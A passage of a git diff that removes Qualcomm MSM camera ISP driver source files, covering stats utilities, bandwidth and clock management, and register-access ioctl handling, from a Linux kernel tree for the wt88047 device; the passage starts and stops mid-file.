stream_cfg_cmd->stats_burst_len; - - if (vfe_dev->stats_data.num_active_stream == 0) - vfe_dev->hw_info->vfe_ops.stats_ops.cfg_ub(vfe_dev); - - if (stream_cfg_cmd->enable) - rc = msm_isp_start_stats_stream(vfe_dev, stream_cfg_cmd); - else - rc = msm_isp_stop_stats_stream(vfe_dev, stream_cfg_cmd); - - return rc; -} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.h deleted file mode 100644 index 7b4c4b4eb0dc6..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_stats_util.h +++ /dev/null @@ -1,25 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ -#ifndef __MSM_ISP_STATS_UTIL_H__ -#define __MSM_ISP_STATS_UTIL_H__ - -#include "msm_isp.h" -#define STATS_IDX(idx) (idx & 0xFF) - -void msm_isp_process_stats_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts); -void msm_isp_stats_stream_update(struct vfe_device *vfe_dev); -int msm_isp_cfg_stats_stream(struct vfe_device *vfe_dev, void *arg); -int msm_isp_release_stats_stream(struct vfe_device *vfe_dev, void *arg); -int msm_isp_request_stats_stream(struct vfe_device *vfe_dev, void *arg); -#endif /* __MSM_ISP_STATS_UTIL_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.c deleted file mode 100644 index 8ce8592e8c25c..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.c +++ /dev/null @@ -1,1574 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ -#include -#include -#include -#include - -#include "msm.h" -#include "msm_isp_util.h" -#include "msm_isp_axi_util.h" -#include "msm_isp_stats_util.h" -#include "msm_camera_io_util.h" - -#define MAX_ISP_V4l2_EVENTS 100 -static DEFINE_MUTEX(bandwidth_mgr_mutex); -static struct msm_isp_bandwidth_mgr isp_bandwidth_mgr; - -#define MSM_ISP_MIN_AB 450000000 -#define MSM_ISP_MIN_IB 900000000 -#define MSM_MIN_REQ_VFE_CPP_BW 1700000000 - -#define VFE40_8974V2_VERSION 0x1001001A -static struct msm_bus_vectors msm_isp_init_vectors[] = { - { - .src = MSM_BUS_MASTER_VFE, - .dst = MSM_BUS_SLAVE_EBI_CH0, - .ab = 0, - .ib = 0, - }, -}; - -static struct msm_bus_vectors msm_isp_ping_vectors[] = { - { - .src = MSM_BUS_MASTER_VFE, - .dst = MSM_BUS_SLAVE_EBI_CH0, - .ab = MSM_ISP_MIN_AB, - .ib = MSM_ISP_MIN_IB, - }, -}; - -static struct msm_bus_vectors msm_isp_pong_vectors[] = { - { - .src = MSM_BUS_MASTER_VFE, - .dst = MSM_BUS_SLAVE_EBI_CH0, - .ab = MSM_ISP_MIN_AB, - .ib = MSM_ISP_MIN_IB, - }, -}; - -static struct msm_bus_paths msm_isp_bus_client_config[] = { - { - ARRAY_SIZE(msm_isp_init_vectors), - msm_isp_init_vectors, - }, - { - ARRAY_SIZE(msm_isp_ping_vectors), - msm_isp_ping_vectors, - }, - { - ARRAY_SIZE(msm_isp_pong_vectors), - msm_isp_pong_vectors, - }, -}; - -static struct msm_bus_scale_pdata msm_isp_bus_client_pdata = { - msm_isp_bus_client_config, - ARRAY_SIZE(msm_isp_bus_client_config), - .name = "msm_camera_isp", -}; - -static void msm_isp_print_fourcc_error(const char *origin, - uint32_t fourcc_format) -{ - int i; - char text[5]; - text[4] = '\0'; - for (i = 0; i < 4; i++) { - text[i] = (char)(((fourcc_format) >> (i * 8)) & 0xFF); - if ((text[i] < '0') || (text[i] > 'z')) { - pr_err("%s: Invalid output format %d (unprintable)\n", - origin, fourcc_format); - return; - } - } - pr_err("%s: Invalid output format %s\n", - origin, text); - return; -} - -#ifdef CONFIG_COMPAT -struct msm_vfe_cfg_cmd2_32 { - uint16_t num_cfg; - uint16_t cmd_len; - compat_caddr_t cfg_data; - compat_caddr_t cfg_cmd; -}; - -#define VIDIOC_MSM_VFE_REG_CFG_COMPAT \ - _IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_vfe_cfg_cmd2_32) -#endif /* CONFIG_COMPAT */ - -int msm_isp_init_bandwidth_mgr(enum msm_isp_hw_client client) -{ - int rc = 0; - mutex_lock(&bandwidth_mgr_mutex); - isp_bandwidth_mgr.client_info[client].active = 1; - if (isp_bandwidth_mgr.use_count++) { - mutex_unlock(&bandwidth_mgr_mutex); - return rc; - } - isp_bandwidth_mgr.bus_client = - msm_bus_scale_register_client(&msm_isp_bus_client_pdata); - if (!isp_bandwidth_mgr.bus_client) { - pr_err("%s: client register failed\n", __func__); - mutex_unlock(&bandwidth_mgr_mutex); - return -EINVAL; - } - - isp_bandwidth_mgr.bus_vector_active_idx = 1; - msm_bus_scale_client_update_request( - isp_bandwidth_mgr.bus_client, - isp_bandwidth_mgr.bus_vector_active_idx); - - mutex_unlock(&bandwidth_mgr_mutex); - return 0; -} - -int msm_isp_update_bandwidth(enum msm_isp_hw_client client, - uint64_t ab, uint64_t ib) -{ - int i; - struct msm_bus_paths *path; - mutex_lock(&bandwidth_mgr_mutex); - if (!isp_bandwidth_mgr.use_count || - !isp_bandwidth_mgr.bus_client) { - pr_err("%s:error bandwidth manager inactive use_cnt:%d bus_clnt:%d\n", - __func__, isp_bandwidth_mgr.use_count, - isp_bandwidth_mgr.bus_client); - return -EINVAL; - } - - isp_bandwidth_mgr.client_info[client].ab = ab; - isp_bandwidth_mgr.client_info[client].ib = ib; - ALT_VECTOR_IDX(isp_bandwidth_mgr.bus_vector_active_idx); - path = - &(msm_isp_bus_client_pdata.usecase[ - isp_bandwidth_mgr.bus_vector_active_idx]); - path->vectors[0].ab = MSM_ISP_MIN_AB; - path->vectors[0].ib = MSM_ISP_MIN_IB; - for (i = 0; i < MAX_ISP_CLIENT; i++) { - if (isp_bandwidth_mgr.client_info[i].active) { - path->vectors[0].ab += - isp_bandwidth_mgr.client_info[i].ab; - path->vectors[0].ib += - isp_bandwidth_mgr.client_info[i].ib; - } - } - /*All the clients combined i.e. VFE + CPP should use atleast - minimum recommended bandwidth*/ - if (path->vectors[0].ib < MSM_MIN_REQ_VFE_CPP_BW) - path->vectors[0].ib = MSM_MIN_REQ_VFE_CPP_BW; - msm_bus_scale_client_update_request(isp_bandwidth_mgr.bus_client, - isp_bandwidth_mgr.bus_vector_active_idx); - mutex_unlock(&bandwidth_mgr_mutex); - return 0; -} - -void msm_isp_deinit_bandwidth_mgr(enum msm_isp_hw_client client) -{ - mutex_lock(&bandwidth_mgr_mutex); - memset(&isp_bandwidth_mgr.client_info[client], 0, - sizeof(struct msm_isp_bandwidth_info)); - if (--isp_bandwidth_mgr.use_count) { - mutex_unlock(&bandwidth_mgr_mutex); - return; - } - - if (!isp_bandwidth_mgr.bus_client) { - pr_err("%s:%d error: bus client invalid\n", __func__, __LINE__); - mutex_unlock(&bandwidth_mgr_mutex); - return; - } - - msm_bus_scale_client_update_request( - isp_bandwidth_mgr.bus_client, 0); - msm_bus_scale_unregister_client(isp_bandwidth_mgr.bus_client); - isp_bandwidth_mgr.bus_client = 0; - mutex_unlock(&bandwidth_mgr_mutex); -} - -uint32_t msm_isp_get_framedrop_period( - enum msm_vfe_frame_skip_pattern frame_skip_pattern) -{ - switch (frame_skip_pattern) { - case NO_SKIP: - case EVERY_2FRAME: - case EVERY_3FRAME: - case EVERY_4FRAME: - case EVERY_5FRAME: - case EVERY_6FRAME: - case EVERY_7FRAME: - case EVERY_8FRAME: - return frame_skip_pattern + 1; - case EVERY_16FRAME: - return 16; - break; - case EVERY_32FRAME: - return 32; - break; - case SKIP_ALL: - return 1; - default: - return 1; - } - return 1; -} - -int msm_isp_get_clk_info(struct vfe_device *vfe_dev, - struct platform_device *pdev, struct msm_cam_clk_info *vfe_clk_info) -{ - uint32_t count; - int i, rc; - uint32_t rates[VFE_CLK_INFO_MAX]; - - struct device_node *of_node; - of_node = pdev->dev.of_node; - - count = of_property_count_strings(of_node, "clock-names"); - - ISP_DBG("count = %d\n", count); - if (count == 0) { - pr_err("no clocks found in device tree, count=%d", count); - return 0; - } - - if (count > VFE_CLK_INFO_MAX) { - pr_err("invalid count=%d, max is %d\n", count, - VFE_CLK_INFO_MAX); - return -EINVAL; - } - - for (i = 0; i < count; i++) { - rc = of_property_read_string_index(of_node, "clock-names", - i, &(vfe_clk_info[i].clk_name)); - ISP_DBG("clock-names[%d] = %s\n", i, vfe_clk_info[i].clk_name); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - return rc; - } - } - rc = of_property_read_u32_array(of_node, "qcom,clock-rates", - rates, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - return rc; - } - for (i = 0; i < count; i++) { - vfe_clk_info[i].clk_rate = (rates[i] == 0) ? -1 : rates[i]; - ISP_DBG("clk_rate[%d] = %ld\n", i, vfe_clk_info[i].clk_rate); - } - vfe_dev->num_clk = count; - return 0; -} - -static inline void msm_isp_get_timestamp(struct msm_isp_timestamp *time_stamp) -{ - struct timespec ts; - ktime_get_ts(&ts); - time_stamp->buf_time.tv_sec = ts.tv_sec; - time_stamp->buf_time.tv_usec = ts.tv_nsec/1000; - do_gettimeofday(&(time_stamp->event_time)); -} - -int msm_isp_subscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, - struct v4l2_event_subscription *sub) -{ - struct vfe_device *vfe_dev = v4l2_get_subdevdata(sd); - int rc = 0; - rc = v4l2_event_subscribe(fh, sub, MAX_ISP_V4l2_EVENTS, NULL); - if (rc == 0) { - if (sub->type == V4L2_EVENT_ALL) { - int i; - - vfe_dev->axi_data.event_mask = 0; - for (i = 0; i < ISP_EVENT_MAX; i++) - vfe_dev->axi_data.event_mask |= (1 << i); - } else { - int event_idx = sub->type - ISP_EVENT_BASE; - - vfe_dev->axi_data.event_mask |= (1 << event_idx); - } - } - return rc; -} - -int msm_isp_unsubscribe_event(struct v4l2_subdev *sd, struct v4l2_fh *fh, - struct v4l2_event_subscription *sub) -{ - struct vfe_device *vfe_dev = v4l2_get_subdevdata(sd); - int rc = 0; - - rc = v4l2_event_unsubscribe(fh, sub); - if (sub->type == V4L2_EVENT_ALL) { - vfe_dev->axi_data.event_mask = 0; - } else { - int event_idx = sub->type - ISP_EVENT_BASE; - - vfe_dev->axi_data.event_mask &= ~(1 << event_idx); - } - return rc; -} - -static int msm_isp_get_max_clk_rate(struct vfe_device *vfe_dev, long *rate) -{ - int clk_idx = 0; - unsigned long max_value = ~0; - long round_rate = 0; - - if (!vfe_dev || !rate) { - pr_err("%s:%d failed: vfe_dev %p rate %p\n", __func__, __LINE__, - vfe_dev, rate); - return -EINVAL; - } - - *rate = 0; - if (!vfe_dev->hw_info) { - pr_err("%s:%d failed: vfe_dev->hw_info %p\n", __func__, - __LINE__, vfe_dev->hw_info); - return -EINVAL; - } - - clk_idx = vfe_dev->hw_info->vfe_clk_idx; - if (clk_idx >= vfe_dev->num_clk) { - pr_err("%s:%d failed: clk_idx %d max array size %d\n", - __func__, __LINE__, clk_idx, - vfe_dev->num_clk); - return -EINVAL; - } - - round_rate = clk_round_rate(vfe_dev->vfe_clk[clk_idx], max_value); - if (round_rate < 0) { - pr_err("%s: Invalid vfe clock rate\n", __func__); - return -EINVAL; - } - - *rate = round_rate; - return 0; -} - -static int msm_isp_set_clk_rate(struct vfe_device *vfe_dev, long *rate) -{ - int rc = 0; - int clk_idx = vfe_dev->hw_info->vfe_clk_idx; - long round_rate = - clk_round_rate(vfe_dev->vfe_clk[clk_idx], *rate); - if (round_rate < 0) { - pr_err("%s: Invalid vfe clock rate\n", __func__); - return round_rate; - } - - rc = clk_set_rate(vfe_dev->vfe_clk[clk_idx], round_rate); - if (rc < 0) { - pr_err("%s: Vfe set rate error\n", __func__); - return rc; - } - *rate = round_rate; - return 0; -} - -int msm_isp_cfg_pix(struct vfe_device *vfe_dev, - struct msm_vfe_input_cfg *input_cfg) -{ - int rc = 0; - if (vfe_dev->axi_data.src_info[VFE_PIX_0].active) { - pr_err("%s: pixel path is active\n", __func__); - return -EINVAL; - } - - vfe_dev->axi_data.src_info[VFE_PIX_0].pixel_clock = - input_cfg->input_pix_clk; - vfe_dev->axi_data.src_info[VFE_PIX_0].input_mux = - input_cfg->d.pix_cfg.input_mux; - vfe_dev->axi_data.src_info[VFE_PIX_0].width = - input_cfg->d.pix_cfg.camif_cfg.pixels_per_line; - - rc = msm_isp_set_clk_rate(vfe_dev, - &vfe_dev->axi_data.src_info[VFE_PIX_0].pixel_clock); - if (rc < 0) { - pr_err("%s: clock set rate failed\n", __func__); - return rc; - } - - vfe_dev->axi_data.src_info[VFE_PIX_0].input_format = - input_cfg->d.pix_cfg.input_format; - - vfe_dev->hw_info->vfe_ops.core_ops.cfg_camif( - vfe_dev, &input_cfg->d.pix_cfg); - return rc; -} - -int msm_isp_cfg_rdi(struct vfe_device *vfe_dev, - struct msm_vfe_input_cfg *input_cfg) -{ - int rc = 0; - if (vfe_dev->axi_data.src_info[input_cfg->input_src].active) { - pr_err("%s: RAW%d path is active\n", __func__, - input_cfg->input_src - VFE_RAW_0); - return -EINVAL; - } - - vfe_dev->axi_data.src_info[input_cfg->input_src].pixel_clock = - input_cfg->input_pix_clk; - vfe_dev->hw_info->vfe_ops.core_ops.cfg_rdi_reg( - vfe_dev, &input_cfg->d.rdi_cfg, input_cfg->input_src); - return rc; -} - -int msm_isp_cfg_input(struct vfe_device *vfe_dev, void *arg) -{ - int rc = 0; - struct msm_vfe_input_cfg *input_cfg = arg; - - switch (input_cfg->input_src) { - case VFE_PIX_0: - rc = msm_isp_cfg_pix(vfe_dev, input_cfg); - break; - case VFE_RAW_0: - case VFE_RAW_1: - case VFE_RAW_2: - rc = msm_isp_cfg_rdi(vfe_dev, input_cfg); - break; - default: - pr_err("%s: Invalid input source\n", __func__); - rc = -EINVAL; - } - return rc; -} - -static long msm_isp_ioctl_unlocked(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - long rc = 0; - struct vfe_device *vfe_dev = v4l2_get_subdevdata(sd); - - /* use real time mutex for hard real-time ioctls such as - * buffer operations and register updates. - * Use core mutex for other ioctls that could take - * longer time to complete such as start/stop ISP streams - * which blocks until the hardware start/stop streaming - */ - ISP_DBG("%s cmd: %d\n", __func__, _IOC_TYPE(cmd)); - switch (cmd) { - case VIDIOC_MSM_VFE_REG_CFG: { - mutex_lock(&vfe_dev->realtime_mutex); - rc = msm_isp_proc_cmd(vfe_dev, arg); - mutex_unlock(&vfe_dev->realtime_mutex); - break; - } - case VIDIOC_MSM_VFE_REG_LIST_CFG: { - mutex_lock(&vfe_dev->realtime_mutex); - rc = msm_isp_proc_cmd_list(vfe_dev, arg); - mutex_unlock(&vfe_dev->realtime_mutex); - break; - } - case VIDIOC_MSM_ISP_REQUEST_BUF: - case VIDIOC_MSM_ISP_ENQUEUE_BUF: - case VIDIOC_MSM_ISP_RELEASE_BUF: { - mutex_lock(&vfe_dev->realtime_mutex); - rc = msm_isp_proc_buf_cmd(vfe_dev->buf_mgr, cmd, arg); - mutex_unlock(&vfe_dev->realtime_mutex); - break; - } - case VIDIOC_MSM_ISP_REQUEST_STREAM: - mutex_lock(&vfe_dev->core_mutex); - rc = msm_isp_request_axi_stream(vfe_dev, arg); - mutex_unlock(&vfe_dev->core_mutex); - break; - case VIDIOC_MSM_ISP_RELEASE_STREAM: - mutex_lock(&vfe_dev->core_mutex); - rc = msm_isp_release_axi_stream(vfe_dev, arg); - mutex_unlock(&vfe_dev->core_mutex); - break; - case VIDIOC_MSM_ISP_CFG_STREAM: - mutex_lock(&vfe_dev->core_mutex); - rc = msm_isp_cfg_axi_stream(vfe_dev, arg); - mutex_unlock(&vfe_dev->core_mutex); - break; - case VIDIOC_MSM_ISP_INPUT_CFG: - mutex_lock(&vfe_dev->core_mutex); - rc = msm_isp_cfg_input(vfe_dev, arg); - mutex_unlock(&vfe_dev->core_mutex); - break; - case VIDIOC_MSM_ISP_SET_SRC_STATE: - mutex_lock(&vfe_dev->core_mutex); - rc = msm_isp_set_src_state(vfe_dev, arg); - mutex_unlock(&vfe_dev->core_mutex); - break; - case VIDIOC_MSM_ISP_REQUEST_STATS_STREAM: - mutex_lock(&vfe_dev->core_mutex); - rc = msm_isp_request_stats_stream(vfe_dev, arg); - mutex_unlock(&vfe_dev->core_mutex); - break; - case VIDIOC_MSM_ISP_RELEASE_STATS_STREAM: - mutex_lock(&vfe_dev->core_mutex); - rc = msm_isp_release_stats_stream(vfe_dev, arg); - mutex_unlock(&vfe_dev->core_mutex); - break; - case VIDIOC_MSM_ISP_CFG_STATS_STREAM: - mutex_lock(&vfe_dev->core_mutex); - rc = msm_isp_cfg_stats_stream(vfe_dev, arg); - mutex_unlock(&vfe_dev->core_mutex); - break; - case VIDIOC_MSM_ISP_UPDATE_STREAM: - mutex_lock(&vfe_dev->core_mutex); - rc = msm_isp_update_axi_stream(vfe_dev, arg); - mutex_unlock(&vfe_dev->core_mutex); - break; - case MSM_SD_SHUTDOWN: - while (vfe_dev->vfe_open_cnt != 0) - msm_isp_close_node(sd, NULL); - break; - - default: - pr_err_ratelimited("%s: Invalid ISP command\n", __func__); - rc = -EINVAL; - } - return rc; -} - -#ifdef CONFIG_COMPAT -static long msm_isp_ioctl_compat(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - long rc = 0; - void __user *up; - if (is_compat_task()) { - up = compat_ptr((unsigned long)arg); - arg = up; - } - - switch (cmd) { - case VIDIOC_MSM_VFE_REG_CFG_COMPAT: { - struct vfe_device *vfe_dev = v4l2_get_subdevdata(sd); - struct msm_vfe_cfg_cmd2 proc_cmd; - struct msm_vfe_cfg_cmd2_32 *proc_cmd_ptr32; - mutex_lock(&vfe_dev->realtime_mutex); - proc_cmd_ptr32 = (struct msm_vfe_cfg_cmd2_32 *) - compat_ptr((unsigned long)arg); - proc_cmd.num_cfg = proc_cmd_ptr32->num_cfg; - proc_cmd.cmd_len = proc_cmd_ptr32->cmd_len; - proc_cmd.cfg_data = compat_ptr(proc_cmd_ptr32->cfg_data); - proc_cmd.cfg_cmd = compat_ptr(proc_cmd_ptr32->cfg_cmd); - rc = msm_isp_proc_cmd(vfe_dev, &proc_cmd); - mutex_unlock(&vfe_dev->realtime_mutex); - break; - } - default: - return msm_isp_ioctl_unlocked(sd, cmd, arg); - } - - return rc; -} - -long msm_isp_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - return msm_isp_ioctl_compat(sd, cmd, arg); -} -#else /* CONFIG_COMPAT */ -long msm_isp_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - return msm_isp_ioctl_unlocked(sd, cmd, arg); -} -#endif /* CONFIG_COMPAT */ - -static int msm_isp_send_hw_cmd(struct vfe_device *vfe_dev, - struct msm_vfe_reg_cfg_cmd *reg_cfg_cmd, - uint32_t *cfg_data, uint32_t cmd_len) -{ - if (!vfe_dev || !reg_cfg_cmd) { - pr_err("%s:%d failed: vfe_dev %p reg_cfg_cmd %p\n", __func__, - __LINE__, vfe_dev, reg_cfg_cmd); - return -EINVAL; - } - if ((reg_cfg_cmd->cmd_type != VFE_CFG_MASK) && - (!cfg_data || !cmd_len)) { - pr_err("%s:%d failed: cmd type %d cfg_data %p cmd_len %d\n", - __func__, __LINE__, reg_cfg_cmd->cmd_type, cfg_data, - cmd_len); - return -EINVAL; - } - switch (reg_cfg_cmd->cmd_type) { - case VFE_WRITE: { - if (resource_size(vfe_dev->vfe_mem) < - (reg_cfg_cmd->u.rw_info.reg_offset + - reg_cfg_cmd->u.rw_info.len)) { - pr_err("%s: VFE_WRITE: Invalid length\n", __func__); - return -EINVAL; - } - msm_camera_io_memcpy(vfe_dev->vfe_base + - reg_cfg_cmd->u.rw_info.reg_offset, - cfg_data + reg_cfg_cmd->u.rw_info.cmd_data_offset/4, - reg_cfg_cmd->u.rw_info.len); - break; - } - case VFE_WRITE_MB: { - uint32_t *data_ptr = cfg_data + - reg_cfg_cmd->u.rw_info.cmd_data_offset/4; - - if ((UINT_MAX - sizeof(*data_ptr) < - reg_cfg_cmd->u.rw_info.reg_offset) || - (resource_size(vfe_dev->vfe_mem) < - reg_cfg_cmd->u.rw_info.reg_offset + - sizeof(*data_ptr))) { - pr_err("%s: VFE_WRITE_MB: Invalid length\n", __func__); - return -EINVAL; - } - msm_camera_io_w_mb(*data_ptr, vfe_dev->vfe_base + - reg_cfg_cmd->u.rw_info.reg_offset); - break; - } - case VFE_CFG_MASK: { - uint32_t temp; - if (resource_size(vfe_dev->vfe_mem) < - reg_cfg_cmd->u.mask_info.reg_offset) - return -EINVAL; - temp = msm_camera_io_r(vfe_dev->vfe_base + - reg_cfg_cmd->u.mask_info.reg_offset); - - temp &= ~reg_cfg_cmd->u.mask_info.mask; - temp |= reg_cfg_cmd->u.mask_info.val; - if ((UINT_MAX - sizeof(temp) < - reg_cfg_cmd->u.mask_info.reg_offset) || - (resource_size(vfe_dev->vfe_mem) < - reg_cfg_cmd->u.mask_info.reg_offset + - sizeof(temp))) { - pr_err("%s: VFE_CFG_MASK: Invalid length\n", __func__); - return -EINVAL; - } - msm_camera_io_w(temp, vfe_dev->vfe_base + - reg_cfg_cmd->u.mask_info.reg_offset); - break; - } - case VFE_WRITE_DMI_16BIT: - case VFE_WRITE_DMI_32BIT: - case VFE_WRITE_DMI_64BIT: { - int i; - uint32_t *hi_tbl_ptr = NULL, *lo_tbl_ptr = NULL; - uint32_t hi_val, lo_val, lo_val1; - if (reg_cfg_cmd->cmd_type == VFE_WRITE_DMI_64BIT) { - if ((UINT_MAX - reg_cfg_cmd->u.dmi_info.hi_tbl_offset < - reg_cfg_cmd->u.dmi_info.len) || - (reg_cfg_cmd->u.dmi_info.hi_tbl_offset + - reg_cfg_cmd->u.dmi_info.len > cmd_len)) { - pr_err("Invalid Hi Table out of bounds\n"); - return -EINVAL; - } - hi_tbl_ptr = cfg_data + - reg_cfg_cmd->u.dmi_info.hi_tbl_offset/4; - } - - if (reg_cfg_cmd->u.dmi_info.lo_tbl_offset + - reg_cfg_cmd->u.dmi_info.len > cmd_len) { - pr_err("Invalid Lo Table out of bounds\n"); - return -EINVAL; - } - lo_tbl_ptr = cfg_data + - reg_cfg_cmd->u.dmi_info.lo_tbl_offset/4; - if (reg_cfg_cmd->cmd_type == VFE_WRITE_DMI_64BIT) - reg_cfg_cmd->u.dmi_info.len = - reg_cfg_cmd->u.dmi_info.len / 2; - for (i = 0; i < reg_cfg_cmd->u.dmi_info.len/4; i++) { - lo_val = *lo_tbl_ptr++; - if (reg_cfg_cmd->cmd_type == VFE_WRITE_DMI_16BIT) { - lo_val1 = lo_val & 0x0000FFFF; - lo_val = (lo_val & 0xFFFF0000)>>16; - msm_camera_io_w(lo_val1, vfe_dev->vfe_base + - vfe_dev->hw_info->dmi_reg_offset + 0x4); - } else if (reg_cfg_cmd->cmd_type == - VFE_WRITE_DMI_64BIT) { - lo_tbl_ptr++; - hi_val = *hi_tbl_ptr; - hi_tbl_ptr = hi_tbl_ptr + 2; - msm_camera_io_w(hi_val, vfe_dev->vfe_base + - vfe_dev->hw_info->dmi_reg_offset); - } - msm_camera_io_w(lo_val, vfe_dev->vfe_base + - vfe_dev->hw_info->dmi_reg_offset + 0x4); - } - break; - } - case VFE_READ_DMI_16BIT: - case VFE_READ_DMI_32BIT: - case VFE_READ_DMI_64BIT: { - int i; - uint32_t *hi_tbl_ptr = NULL, *lo_tbl_ptr = NULL; - uint32_t hi_val, lo_val, lo_val1; - if (reg_cfg_cmd->cmd_type == VFE_READ_DMI_64BIT) { - if (reg_cfg_cmd->u.dmi_info.hi_tbl_offset + - reg_cfg_cmd->u.dmi_info.len > cmd_len) { - pr_err("Invalid Hi Table out of bounds\n"); - return -EINVAL; - } - hi_tbl_ptr = cfg_data + - reg_cfg_cmd->u.dmi_info.hi_tbl_offset/4; - } - - if (reg_cfg_cmd->u.dmi_info.lo_tbl_offset + - reg_cfg_cmd->u.dmi_info.len > cmd_len) { - pr_err("Invalid Lo Table out of bounds\n"); - return -EINVAL; - } - lo_tbl_ptr = cfg_data + - reg_cfg_cmd->u.dmi_info.lo_tbl_offset/4; - - for (i = 0; i < reg_cfg_cmd->u.dmi_info.len/4; i++) { - if (reg_cfg_cmd->cmd_type == VFE_READ_DMI_64BIT) { - hi_val = msm_camera_io_r(vfe_dev->vfe_base + - vfe_dev->hw_info->dmi_reg_offset); - *hi_tbl_ptr = hi_val; - hi_tbl_ptr += 2; - } - - lo_val = msm_camera_io_r(vfe_dev->vfe_base + - vfe_dev->hw_info->dmi_reg_offset + 0x4); - - if (reg_cfg_cmd->cmd_type == VFE_READ_DMI_16BIT) { - lo_val1 = msm_camera_io_r(vfe_dev->vfe_base + - vfe_dev->hw_info->dmi_reg_offset + 0x4); - lo_val |= lo_val1 << 16; - } - *lo_tbl_ptr++ = lo_val; - if (reg_cfg_cmd->cmd_type == VFE_READ_DMI_64BIT) - lo_tbl_ptr++; - } - break; - } - case VFE_HW_UPDATE_LOCK: { - uint32_t session_id = - vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; - uint32_t update_id = - vfe_dev->axi_data.src_info[VFE_PIX_0].last_updt_frm_id; - if (vfe_dev->axi_data.frame_id[session_id] != *cfg_data - || update_id == *cfg_data) { - pr_err("%s hw update lock failed acq %d, cur id %u, last id %u\n", - __func__, - *cfg_data, - vfe_dev->axi_data.frame_id[session_id], - update_id); - return -EINVAL; - } - break; - } - case VFE_HW_UPDATE_UNLOCK: { - uint32_t session_id = - vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; - if (vfe_dev->axi_data.frame_id[session_id] - != *cfg_data) { - pr_err("hw update across frame boundary,begin id %u, end id %d\n", - *cfg_data, - vfe_dev->axi_data.frame_id[session_id]); - } - vfe_dev->axi_data.src_info[VFE_PIX_0].last_updt_frm_id = - vfe_dev->axi_data.frame_id[session_id]; - break; - } - case VFE_READ: { - int i; - uint32_t *data_ptr = cfg_data + - reg_cfg_cmd->u.rw_info.cmd_data_offset/4; - for (i = 0; i < reg_cfg_cmd->u.rw_info.len/4; i++) { - if ((data_ptr < cfg_data) || - (UINT_MAX / sizeof(*data_ptr) < - (data_ptr - cfg_data)) || - (sizeof(*data_ptr) * (data_ptr - cfg_data) > - cmd_len)) - return -EINVAL; - *data_ptr++ = msm_camera_io_r(vfe_dev->vfe_base + - reg_cfg_cmd->u.rw_info.reg_offset); - reg_cfg_cmd->u.rw_info.reg_offset += 4; - } - break; - } - case GET_MAX_CLK_RATE: { - int rc = 0; - - if (cmd_len < sizeof(unsigned long)) { - pr_err("%s:%d failed: invalid cmd len %u exp %zu\n", - __func__, __LINE__, cmd_len, - sizeof(unsigned long)); - return -EINVAL; - } - rc = msm_isp_get_max_clk_rate(vfe_dev, - (unsigned long *)cfg_data); - if (rc < 0) { - pr_err("%s:%d failed: rc %d\n", __func__, __LINE__, rc); - return -EINVAL; - } - break; - } - case GET_ISP_ID: { - uint32_t *isp_id = NULL; - - if (cmd_len < sizeof(uint32_t)) { - pr_err("%s:%d failed: invalid cmd len %u exp %u\n", - __func__, __LINE__, cmd_len, - sizeof(uint32_t)); - return -EINVAL; - } - - isp_id = (uint32_t *)cfg_data; - *isp_id = vfe_dev->pdev->id; - break; - } - case SET_WM_UB_SIZE: { - vfe_dev->vfe_ub_size = *cfg_data; - break; - } - } - return 0; -} - -int msm_isp_proc_cmd(struct vfe_device *vfe_dev, void *arg) -{ - int rc = 0, i; - struct msm_vfe_cfg_cmd2 *proc_cmd = arg; - struct msm_vfe_reg_cfg_cmd *reg_cfg_cmd; - uint32_t *cfg_data = NULL; - - if (!proc_cmd->num_cfg) { - pr_err("%s: Passed num_cfg as 0\n", __func__); - return -EINVAL; - } - - reg_cfg_cmd = kzalloc(sizeof(struct msm_vfe_reg_cfg_cmd)* - proc_cmd->num_cfg, GFP_KERNEL); - if (!reg_cfg_cmd) { - pr_err("%s: reg_cfg alloc failed\n", __func__); - rc = -ENOMEM; - goto reg_cfg_failed; - } - - if (copy_from_user(reg_cfg_cmd, - (void __user *)(proc_cmd->cfg_cmd), - sizeof(struct msm_vfe_reg_cfg_cmd) * proc_cmd->num_cfg)) { - rc = -EFAULT; - goto copy_cmd_failed; - } - - if (proc_cmd->cmd_len > 0) { - cfg_data = kzalloc(proc_cmd->cmd_len, GFP_KERNEL); - if (!cfg_data) { - pr_err("%s: cfg_data alloc failed\n", __func__); - rc = -ENOMEM; - goto cfg_data_failed; - } - - if (copy_from_user(cfg_data, - (void __user *)(proc_cmd->cfg_data), - proc_cmd->cmd_len)) { - rc = -EFAULT; - goto copy_cmd_failed; - } - } - - for (i = 0; i < proc_cmd->num_cfg; i++) - rc = msm_isp_send_hw_cmd(vfe_dev, ®_cfg_cmd[i], - 